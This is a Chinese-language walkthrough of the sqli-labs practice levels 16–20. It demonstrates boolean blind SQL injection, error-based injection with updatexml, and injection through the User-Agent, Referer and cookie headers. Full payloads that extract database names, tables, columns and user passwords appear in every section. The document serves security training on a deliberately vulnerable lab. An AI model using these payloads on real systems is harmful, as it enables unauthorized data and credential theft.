一、Less-16(布尔盲注)
我们在上一篇文章里已经讲过布尔盲注了,所以这里简单的说一说就好了
1、判断闭合方式
1") or 1=1 #
页面显示登录成功,说明闭合成功
2、判断注入点
到这一步我们已经发现了页面只有两种状态,那么我们就用布尔盲注来进行注入
3、判断数据库的名字
(1)输入代码
1") or substr(database(),1,1)='a'#
(2)打开代理,打开抓包工具,抓包
抓到后按快捷键ctrl+i发送到intruder模块
攻击类型选择集束炸弹,选好需要爆破的点,添加payload
在payload集分别添加数值,然后开始攻击
得出数据库名字为:security
4、判断数据库的表有哪些
步骤一样,只是代码不同,我这里只放代码,想了解的各位看官可以翻一翻前面的文章
1") or substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'#
5、判断数据库的字段
1") or substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='a'#
6、判断数据库的数据
查用户名
1") or substr((select username from users limit 0,1),1,1)='a'#
查密码
1") or substr((select password from users limit 0,1),1,1)='a'#
二、Less-17
1、通过观察页面得知,这是一个修改密码的页面,那么就说明用户名得写对,然后再写一个新密码,用户名我们可以看到页面上显示了一个Dhakkan,那么我们就输入进去
成功登入
2、接下来我们尝试在password这里注入,首先尝试闭合
输入1',报错了
闭合一下,输入1'#,成功登入,说明我们可以在password这里进行注入,那么接下来就是我们熟悉的报错注入了
3、查数据库的名字
1' and updatexml(1,concat(1,(select database())),1)#
4、查表
1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#
5、查字段
1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)#
6、查数据
1' and updatexml(1,concat(1,(select concat(username,'~',password) from users limit 1,1)),1)#
在查数据的时候我们发现不允许对users表进行更新,那么我们可以把查到的数据先暂存到另一个表中,再取出来
1' and updatexml(1,concat(1,(select concat(username,'~',password) from (select username,password from users) limit 0,1)),1)#
这时我们发现又报错了,报错内容是让我们起个别名,那我们就起个别名
1' and updatexml(1,concat(1,(select concat(username,'~',password) from (select username,password from users limit 0,1)wjf)),1)#
这样便获得了数据
三、less-18(ua注入)
抓包
在ua部分实行注入
1' and updatexml(1,concat(1,database()),1) and'
得到了数据库
获得数据库的表
1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = database())),1) and'
获得字段
1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users')),1) and'
获得数据
1' and updatexml(1,concat(1,(select concat(username,'~',password) from users limit 0,1)),1) and'
四、Less-19
1、先输入正确的账号密码,发现注入点在referer,所以在这里注入
其他的就和上一关一样了
爆库
1' and updatexml(1,concat(1,database()),1) and'
爆表
1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = database())),1) and'
爆字段
1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users')),1) and'
爆数据
1' and updatexml(1,concat(1,(select concat(username,'~',password) from users limit 0,1)),1) and'
五、Less-20(cookie)
登入,开代理,刷新抓包,按照顺序,就可以抓到cookie包了
爆库
' and updatexml(1,concat(1,database()),1) and'
爆表
' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = database())),1) and'
爆字段
' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users')),1) and'
爆数据
' and updatexml(1,concat(1,(select concat(username,'~',password) from users limit 0,1)),1) and'